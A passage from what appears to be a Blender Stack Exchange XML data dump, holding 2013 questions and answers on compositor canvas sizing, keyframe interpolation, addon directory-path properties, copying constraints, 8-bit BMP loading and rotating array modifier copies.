lamps you can enable &lt;em&gt;Only render&lt;/em&gt; in &lt;em&gt;3D view &gt; Properties panel (&lt;kbd&gt;N&lt;/kbd&gt;) &gt; Display &gt; Only render&lt;/em&gt; and press &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Space&lt;/kbd&gt; to toggle the &lt;a href=&quot;http://blender.org/manual/getting_started/basics/transformations/transform_control/manipulators.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;3D manipulator&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the background is a problem, you can put a face there or also make it black in the theme settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;AA has to be disabled, otherwise you will get smooth lines.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Result:&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/ddxBW.png&quot; alt=&quot;Result&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1068" LastEditorUserId="599" LastEditDate="2015-08-30T07:09:19.120" LastActivityDate="2015-08-30T07:09:19.120" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="2376" PostTypeId="1" AcceptedAnswerId="2404" CreationDate="2013-08-13T22:36:59.460" Score="20" ViewCount="16386" Body="&lt;p&gt;As you can see, if I try to translate an image in the compositor, it does not affect the actual bounds of the image, only the pixels themselves. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/F8AIE.png&quot; alt=&quot;Normal, without any change&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/1eoqY.png&quot; alt=&quot;Translated up 150 px&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The same thing happens when trying to scale an image:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/uIjJ4.png&quot; alt=&quot;Scaled up 200%&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the image cannot be moved or scaled further than the actual dimensions of the image without clipping it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The render border size does not seem to affect it: (Seen here with a gradient texture to define where the render dimensions are.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/hVxe5.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For some reason skipping the blur node makes it work, but with it it gets cropped.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Aside from creating a lot of transparent space around the image in an external image editor or scaling the &lt;em&gt;Pixels&lt;/em&gt; down with a Scale node,&lt;br&gt;&#xA;How can I accomplish this?&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2013-12-05T22:42:32.703" LastActivityDate="2013-12-05T22:42:32.703" Title="How can I resize/move the &quot;canvas&quot; of an image in the compositor?" Tags="&lt;nodes&gt;&lt;compositor&gt;" AnswerCount="2" CommentCount="5" FavoriteCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="2377" PostTypeId="2" ParentId="2376" CreationDate="2013-08-14T03:40:16.680" Score="4" Body="&lt;p&gt;The solution might be to bring the input for the blur node up to size with an empty render layer. That way you don't have to change the image size manually. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the shading panel of the render properties for that render layer, set the alpha to 'transparent'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/8P3kd.png&quot; alt=&quot;node editor blur node small image solution&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1077" LastEditorUserId="1077" LastEditDate="2013-08-14T15:49:15.420" LastActivityDate="2013-08-14T15:49:15.420" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2378" PostTypeId="2" ParentId="1666" CreationDate="2013-08-14T07:53:35.723" Score="2" Body="&lt;p&gt;If you are using GPUs, you can use Precision X to control the voltage and temperature speed so that it keeps to a lower temperature.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are using CPUs, you probably have a muti-core CPU. Just use &quot;fixed&quot; instead of &quot;automatic&quot; number of threads, then lower the number of threads. This will have the additional benefit that your computer will respond better while rendering. Of course the render will take more time, so if you are doing it all the time, maybe finding a way to cool down your machine will be the best solution. Even if we are talking about a laptop, there are bases with fans that for \$10-\$20 might solve your problem and save you hours... &#xA;Also some &lt;a href=&quot;http://forums.laptopvideo2go.com/topic/8885-i8kfangui-dell-notebook-fan-control-utility/&quot; rel=&quot;nofollow noreferrer&quot;&gt;utility to adjust the fan speed&lt;/a&gt; might help&lt;/p&gt;&#xA;" OwnerUserId="1048" LastEditorUserId="26640" LastEditDate="2018-02-22T00:12:08.797" LastActivityDate="2018-02-22T00:12:08.797" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2379" PostTypeId="1" AcceptedAnswerId="2380" CreationDate="2013-08-14T10:45:27.893" Score="3" ViewCount="5912" Body="&lt;p&gt;In order to animate a character so that it grabs an object an throws it, I added a &lt;em&gt;Child-Of constrained&lt;/em&gt; and keyframed its influence. In the &lt;em&gt;F-curve Editor&lt;/em&gt; I can't set the curve which controls the influence to interpolation-mode &lt;em&gt;Constant&lt;/em&gt; without changing the other curves (Which should be linear or bezier). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can the interpolation mode of a curve changed independently? &lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2013-08-14T14:09:07.010" Title="How can a single Curve Interpolation Mode set to Constant?" Tags="&lt;animation&gt;&lt;bezier-curves&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2380" PostTypeId="2" ParentId="2379" CreationDate="2013-08-14T11:31:30.477" Score="6" Body="&lt;p&gt;You can select &lt;strong&gt;left-click-select every single Key&lt;/strong&gt; in the Graph editor and press &lt;kbd&gt;T&lt;/kbd&gt; to change the interpolation. This will always only affect the interpolation &lt;strong&gt;up to the next key&lt;/strong&gt; of that one curve.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Further controls for this:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;kbd&gt;A&lt;/kbd&gt; deselects all keys, just like in edit-mode. &lt;/li&gt;&#xA;&lt;li&gt;&lt;kbd&gt;L&lt;/kbd&gt; selects all keys of the curve of which one key is currently selected.&lt;/li&gt;&#xA;&lt;li&gt;&lt;kbd&gt;Tab&lt;/kbd&gt; locks the selected curve to prevent it from being edited.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1068" LastEditorUserId="1068" LastEditDate="2013-08-14T14:09:07.010" LastActivityDate="2013-08-14T14:09:07.010" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2381" PostTypeId="2" ParentId="2379" CreationDate="2013-08-14T12:20:16.963" Score="3" Body="&lt;p&gt;Changing the interpolation type can be done per keyframe on a curve, the interpolation between the selected keyframe and the next defines the final curve shape. Selecting one keyframe and pressing &lt;kbd&gt;L&lt;/kbd&gt; will select all keyframes on the curve.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are having trouble finding or selecting a single curve in the graph editor you may want to lock all curves and then unlock the one you want to change. &lt;kbd&gt;Tab&lt;/kbd&gt; will lock/unlock all curves. You can also click the group lock (see green LocRotScale line below) to toggle all curves in that group, then unlock the one curve you wish to alter. With all other curves locked you can use &lt;kbd&gt;A&lt;/kbd&gt; to select all the keyframes on the one unlocked curve.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The cursor button &lt;img src=&quot;https://i.stack.imgur.com/w0YK5.jpg&quot; alt=&quot;enter image description here&quot;&gt;on the header of the graph editor can also help by only showing the curves for objects selected in the 3DView.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;kbd&gt;T&lt;/kbd&gt; will show the menu to choose what interpolation to use on the selected keyframes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/rcstE.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also the Dopesheet and graph editor work similarly, you may find the dopesheet an easier way to select the keyframes you want. The same &lt;kbd&gt;T&lt;/kbd&gt; shortcut will let you change interpolations in the dopesheet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Te4QH.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2013-08-14T12:20:16.963" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2382" PostTypeId="1" AcceptedAnswerId="2386" CreationDate="2013-08-14T14:10:45.580" Score="12" ViewCount="5177" Body="&lt;p&gt;I have to allow users of my addon to select a path via the directory browser window of blender.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The path is already set in an external &quot;.conf&quot; file, but I need it to be customizable via blender GUI, to avoid users to edit the config file manually.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried many things, (note that I'm a novice with the blender API), for example :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#(...)&#xA;bpy.ops.buttons.directory_browse()&#xA;# or&#xA;col = layout.column()&#xA;col.operator(&quot;file.directory&quot;)&#xA;# or&#xA;col.operator(&quot;buttons.directory_browse&quot;)&#xA;# or&#xA;col.prop(path, 'choose a folder')&#xA;#(...)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But nothing works. And can't find a way to do this after a day of seeking.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I want to achieve is something like this :&#xA;&lt;img src=&quot;https://i.stack.imgur.com/9uM0f.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;br&gt;&#xA;Note that the input could be pre-filled with the config file's default value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks by advance.&lt;/p&gt;&#xA;" OwnerUserId="527" LastActivityDate="2019-01-26T15:09:56.387" Title="How to add a &quot;select path&quot; input in a UI addon script?" Tags="&lt;scripting&gt;&lt;python&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="2383" PostTypeId="2" ParentId="2382" CreationDate="2013-08-14T15:12:23.643" Score="2" Body="&lt;p&gt;Use the &lt;code&gt;layout.template_image&lt;/code&gt; command:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;&lt;pre&gt;&lt;code&gt;template_image(data, property, image_user, compact=False)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;  &#xA;  &lt;p&gt;Item(s). User interface for selecting images and their source paths&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Parameters:&lt;/p&gt;&#xA;  &#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;&lt;strong&gt;data&lt;/strong&gt; (&lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_60_0/bpy.types.AnyType.html#bpy.types.AnyType&quot; rel=&quot;nofollow&quot; title=&quot;bpy.types.AnyType&quot;&gt;&lt;code&gt;AnyType&lt;/code&gt;&lt;/a&gt;, (never None)) – Data from which to take property&lt;/li&gt;&#xA;  &lt;li&gt;&lt;strong&gt;property&lt;/strong&gt; (&lt;em&gt;string&lt;/em&gt;) – Identifier of property in data&lt;/li&gt;&#xA;  &lt;li&gt;&lt;strong&gt;compact&lt;/strong&gt; (&lt;em&gt;boolean&lt;/em&gt;, &lt;em&gt;(optional)&lt;/em&gt;) – Use more compact layout&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Here's a link to the &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_60_0/bpy.types.UILayout.html#bpy.types.UILayout.template_image&quot; rel=&quot;nofollow&quot;&gt;relevant documentation for &lt;code&gt;bpy.types.UILayout&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="372" LastEditorUserId="372" LastEditDate="2013-08-19T03:33:37.840" LastActivityDate="2013-08-19T03:33:37.840" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2384" PostTypeId="1" AcceptedAnswerId="2388" CreationDate="2013-08-14T15:30:15.753" Score="15" ViewCount="11354" Body="&lt;p&gt;I have a large number of objects, and I wish to add a Track to constraint to each object.  When I select the group of them and then add the constraint, it is added to only the active object, of course.  How can I add the constraint to all selected objects?&lt;/p&gt;&#xA;" OwnerUserId="364" LastActivityDate="2015-06-14T16:47:24.020" Title="Add object constraint to a number of selected objects" Tags="&lt;constraints&gt;" AnswerCount="3" CommentCount="2" FavoriteCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="2385" PostTypeId="2" ParentId="2384" CreationDate="2013-08-14T16:00:13.400" Score="5" Body="&lt;p&gt;You could also just loop through the selected objects and apply the contraint to each one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The line with &lt;code&gt;objs.target&lt;/code&gt; is an example of how to set the target object. In this example, I assume that all the selected objects will have an &lt;em&gt;Empty&lt;/em&gt; as the target.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;context = bpy.context&#xA;&#xA;for x in bpy.context.selected_objects:&#xA;    objs = x.constraints.new(type='TRACK_TO')&#xA;    objs.target = context.scene.objects.get(&quot;Empty&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12" LastEditorUserId="12" LastEditDate="2013-08-15T16:49:38.407" LastActivityDate="2013-08-15T16:49:38.407" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="2386" PostTypeId="2" ParentId="2382" CreationDate="2013-08-14T16:08:10.747" Score="10" Body="&lt;p&gt;Well, I finally found a solution:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, I had to define a custom property in the &lt;code&gt;register()&lt;/code&gt; function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def register():&#xA;    bpy.utils.register_module(__name__)&#xA;    bpy.types.Scene.conf_path = bpy.props.StringProperty \&#xA;      (&#xA;      name = &quot;Root Path&quot;,&#xA;      default = &quot;&quot;,&#xA;      description = &quot;Define the root path of the project&quot;,&#xA;      subtype = 'DIR_PATH'&#xA;      )&#xA;&#xA;def unregister():&#xA;    bpy.utils.unregister_module(__name__)&#xA;    del bpy.types.Scene.conf_path&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then in the &lt;code&gt;draw()&lt;/code&gt; method of the panel class, I had to call the property this way:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def draw(self, context):&#xA;    layout = self.layout&#xA;    col = layout.column()&#xA;    col.prop(context.scene, 'conf_path')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And... &lt;strong&gt;it worked&lt;/strong&gt;!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, I wanted to display the default value (which is stored in a separate &quot;.conf&quot; file), in the &quot;file input&quot; when Blender starts (or the add-on is enabled).&lt;br&gt;&#xA;To do so, I just had to call a function which get this value, and put it in the &quot;default&quot; parameter of the property definition:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def register():&#xA;    default_path = get_path_from_config_file()&#xA;    bpy.utils.register_module(__name__)&#xA;    bpy.types.Scene.conf_path = bpy.props.StringProperty \&#xA;      (&#xA;      name = &quot;Root Path&quot;,&#xA;      default = default_path,&#xA;      description = &quot;Define the root path of the project&quot;,&#xA;      subtype = 'DIR_PATH'&#xA;      )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And that's it!&lt;/p&gt;&#xA;" OwnerUserId="527" LastEditorUserId="58" LastEditDate="2013-08-17T19:39:34.843" LastActivityDate="2013-08-17T19:39:34.843" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2387" PostTypeId="2" ParentId="2384" CreationDate="2013-08-14T16:10:55.630" Score="4" Body="&lt;p&gt;I discovered how to do this using an add-on.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Enable the &quot;Copy Attributes Menu&quot; addon&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Use &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;C&lt;/kbd&gt; to activate the menu&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Choose &quot;Copy Selected Constraints&quot;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;This doesn't let you modify the constraints, though, or remove them. &lt;/p&gt;&#xA;" OwnerUserId="364" LastActivityDate="2013-08-14T16:10:55.630" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2388" PostTypeId="2" ParentId="2384" CreationDate="2013-08-14T16:11:31.887" Score="24" Body="&lt;ol&gt;&#xA;&lt;li&gt;With the objects selected, add the desired constraint to the active object.&lt;/li&gt;&#xA;&lt;li&gt;From the 3D View header menu choose &lt;em&gt;Object &gt; Constraints &gt; Copy Constraints to Selected Objects&lt;/em&gt;.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;All the objects will now have the same constraint.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This method doesn't require an add-on to work.&lt;/p&gt;&#xA;" OwnerUserId="241" LastEditorUserId="241" LastEditDate="2015-06-14T16:47:24.020" LastActivityDate="2015-06-14T16:47:24.020" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="2389" PostTypeId="1" CreationDate="2013-08-14T16:45:41.907" Score="1" ViewCount="58" Body="&lt;p&gt;Prompted by my &lt;a href=&quot;https://blender.stackexchange.com/questions/2376/how-can-i-resize-move-the-canvas-of-an-image-in-the-compositor&quot;&gt;previous question&lt;/a&gt;, what should one do if they find something that &lt;em&gt;might&lt;/em&gt; be a bug but aren't sure? Should these be reported? Ignored? Is there somewhere where there is a &quot;tracker for potential bugs&quot;?&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:43.437" LastActivityDate="2013-08-14T16:45:41.907" Title="What to do with potential bugs?" Tags="&lt;documentation&gt;" AnswerCount="0" CommentCount="4" ClosedDate="2013-08-14T16:46:07.497" ContentLicense="CC BY-SA 3.0" />
  <row Id="2390" PostTypeId="1" AcceptedAnswerId="2391" CreationDate="2013-08-14T16:49:15.903" Score="7" ViewCount="867" Body="&lt;p&gt;After looking at the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Data_System/Files/Formats&quot; rel=&quot;nofollow&quot;&gt;documentation&lt;/a&gt; about supported file formats on wiki, I tried to use 8 bit BMP files as texture. (I know, old school, but I wanted to avoid conversions)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, the image appears blank in blender.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Is there anything I need to set&lt;/strong&gt; (like a property, or parameter while importing) &lt;strong&gt;to be able to use an 8bit BMP image as texture?&lt;/strong&gt;&lt;br&gt;&#xA;When I convert these to PNG or 24b BMP there is no problem.&lt;br&gt;&#xA;Also when I save something with &lt;a href=&quot;http://en.wikipedia.org/wiki/Paint_%28software%29&quot; rel=&quot;nofollow&quot;&gt;mspaint&lt;/a&gt; as 8b BMP the same problem happens.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note I used a python script to import these, &lt;code&gt;image.load()&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1090" LastEditorUserId="599" LastEditDate="2013-08-15T15:55:35.380" LastActivityDate="2013-08-15T15:55:35.380" Title="Can I load 8bit bitmaps with Blender?" Tags="&lt;scripting&gt;&lt;texturing&gt;&lt;file-format&gt;" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2391" PostTypeId="2" ParentId="2390" CreationDate="2013-08-14T18:40:04.570" Score="4" Body="&lt;p&gt;It is not supported, the &lt;em&gt;Import Image as Plane&lt;/em&gt; addon prints (console)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;IMB_ibImageFromMemory: unknown fileformat &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Trying to open a 8 bit BMP manually also prints &quot;Unknown fileformat&quot; on the console window. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The difference to 16, 24 and 32 bit BMPs is that 256-Colors are adressed from a &lt;a href=&quot;http://en.wikipedia.org/wiki/Palette_(computing)&quot; rel=&quot;nofollow noreferrer&quot;&gt;palette&lt;/a&gt; this makes the file format different to the other formats. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have many images to convert you could consider batch-converting them with &lt;a href=&quot;https://superuser.com/questions/77429/using-gimp-to-batch-convert-images-to-another-format-in-windows&quot;&gt;ImageMagic, Gimp or Irfanview&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="-1" LastEditDate="2017-03-20T10:18:02.580" LastActivityDate="2013-08-14T18:40:04.570" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2392" PostTypeId="2" ParentId="2390" CreationDate="2013-08-14T19:28:59.277" Score="5" Body="&lt;p&gt;Support for loading 8bit bitmaps was just committed to trunk recently. Grab any build of &lt;a href=&quot;https://projects.blender.org/scm/viewvc.php?view=rev&amp;amp;root=bf-blender&amp;amp;revision=59103&quot;&gt;r59103&lt;/a&gt; or greater and it should work and it will also be available by default in 2.69.&lt;/p&gt;&#xA;" OwnerUserId="12" LastActivityDate="2013-08-14T19:28:59.277" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2393" PostTypeId="1" AcceptedAnswerId="2394" CreationDate="2013-08-14T19:39:51.683" Score="6" ViewCount="950" Body="&lt;p&gt;Specifically, how does one obtain the path to the current .blend when the blender game engine is running?&lt;/p&gt;&#xA;" OwnerUserId="311" LastActivityDate="2013-08-14T20:06:07.373" Title="How does one obtain the file path of the current .blend in the bge?" Tags="&lt;python&gt;&lt;scripting&gt;&lt;game-engine&gt;&lt;path&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2394" PostTypeId="2" ParentId="2393" CreationDate="2013-08-14T19:47:00.377" Score="5" Body="&lt;p&gt;You can determine this with &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_68_release/bge.logic.html#bge.logic.expandPath&quot;&gt;&lt;code&gt;bge.logic.expandPath(&quot;//&quot;)&lt;/code&gt;&lt;/a&gt;. It will give you the directory that the current blend-file is in excluding the filename.&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="12" LastEditDate="2013-08-14T20:06:07.373" LastActivityDate="2013-08-14T20:06:07.373" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2395" PostTypeId="2" ParentId="120" CreationDate="2013-08-14T20:43:27.677" Score="10" Body="&lt;p&gt;Let's not forget the grandfather: Warp&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In edit mode, position the cursor where your axle is supposed to be, select the mesh and hit &lt;kbd&gt;SHIFT&lt;/kbd&gt;+&lt;kbd&gt;W&lt;/kbd&gt;. Make sure that your line of sight is parallel to the axle because Warp takes the orientation of the 3d view into account.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is useful if your mesh contains other parts or you are just too lazy to use modifiers and later change is not necessary.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use numerical input and finisch the modifier with &lt;kbd&gt;3&lt;/kbd&gt;&lt;kbd&gt;6&lt;/kbd&gt;&lt;kbd&gt;0&lt;/kbd&gt;&lt;kbd&gt;RETURN&lt;/kbd&gt; to get a full circle.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want a precise diameter, position the cursor on an outer vertex with &lt;kbd&gt;SHIFT&lt;/kbd&gt;+&lt;kbd&gt;S&lt;/kbd&gt;&lt;kbd&gt;3&lt;/kbd&gt; and then use the 3d cursor panel to move it down (or move the mesh up with numerical input)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/iOr1E.png&quot; alt=&quot;Blender Warp Shift W&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1077" LastEditorUserId="1077" LastEditDate="2013-08-14T20:57:16.323" LastActivityDate="2013-08-14T20:57:16.323" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2397" PostTypeId="2" ParentId="2359" CreationDate="2013-08-14T22:51:57.140" Score="6" Body="&lt;p&gt;Blame the particle system. Motion blur only work on the Object level. Deformation motion blur is not working properly. Do you have keyframes on your particle system? If so blender will render motion for all the geometry inside of that object, your particle system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt;&lt;br&gt;&#xA;gandalf3 made a good point in his answer too. Anyway, you might want try and render out a motion vector pass. And leave cycles motion blur off for the render and then in the compositor add motion blur.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/1u4UU.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user320" LastEditorUserId="12" LastEditDate="2013-08-15T00:38:44.480" LastActivityDate="2013-08-15T00:38:44.480" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2399" PostTypeId="2" ParentId="2359" CreationDate="2013-08-15T00:12:15.050" Score="1" Body="&lt;p&gt;To expand on user320's answer, &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems that if you animate your emitter object, the particles will be motion blurred with the Emitter motion. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Presumably, this will be fixed with the addition of &lt;a href=&quot;http://wiki.blender.org/index.php/User%3aGdh/GSoC-2013&quot; rel=&quot;nofollow&quot;&gt;Deformation motion blur&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Possible solutions depend on the requirements of the car motion, but basically a method that does not require moving the emitter should work. (Perhaps a &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Physics/Particles/Physics/Boids&quot; rel=&quot;nofollow&quot;&gt;boids&lt;/a&gt; or &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Physics/Particles/Physics/Keyed&quot; rel=&quot;nofollow&quot;&gt;keyed&lt;/a&gt; system)&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2013-08-15T00:18:06.577" LastActivityDate="2013-08-15T00:18:06.577" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2402" PostTypeId="1" AcceptedAnswerId="2403" CreationDate="2013-08-15T03:05:14.567" Score="35" ViewCount="33356" Body="&lt;p&gt;Is there a way to rotate each iteration of an Array Modifier?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, I've created the helices of a DNA molecule, and I'm trying to add the base pairs. I've got a cylinder with an array modifier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/TN0HD.png&quot; alt=&quot;base array modifier&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, I thought I'd apply a simple deform to twist them 360 degrees, corresponding to one twist of the double helix. The problem I'm seeing is that the deform modifiers squishes the cylinders, rather than rotating them independently.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/S0l2F.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="822" LastEditorUserId="822" LastEditDate="2013-08-15T03:28:01.043" LastActivityDate="2018-04-16T16:28:41.523" Title="Rotating each iteration of an Array Modifier" Tags="&lt;modeling&gt;&lt;modifiers&gt;" AnswerCount="1" CommentCount="5" FavoriteCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="2403" PostTypeId="2" ParentId="2402" CreationDate="2013-08-15T04:20:32.833" Score="54" Body="&lt;p&gt;You can achieve that with the &lt;em&gt;Array&lt;/em&gt; modifier alone.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Create an empty at the origin of your base pair and make sure it has the same xyz rotation.&lt;/li&gt;&#xA;&lt;li&gt;Disable all offsets in the &lt;em&gt;Array&lt;/em&gt; modifier.&lt;/li&gt;&#xA;&lt;li&gt;Enable &lt;em&gt;Object Offset&lt;/em&gt; and select the empty from the list.&lt;/li&gt;&#xA;&lt;li&gt;Rotate the empty and move it up a little, so that it matches your helix. &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The &lt;em&gt;object offset&lt;/em&gt; uses the differences regarding location, rotation and scale to generate the array.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/782Hz.png&quot; alt=&quot;Array modifier with object offset to create a dna helix&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another, older and in some aspects, more powerful way would be to animate the base pair rotating and moving up the helix and then turn on &lt;em&gt;dupliframes&lt;/em&gt; in the &lt;em&gt;Duplication&lt;/em&gt; panel of the &lt;em&gt;object&lt;/em&gt; properties.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To get even spaces between the steps, you'd have to set the f-curve to linear interpolation. &lt;/p&gt;&#xA;" OwnerUserId="1077" LastEditorUserId="1077" LastEditDate="2013-08-15T13:58:31.173" LastActivityDate="2013-08-15T13:58:31.173" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
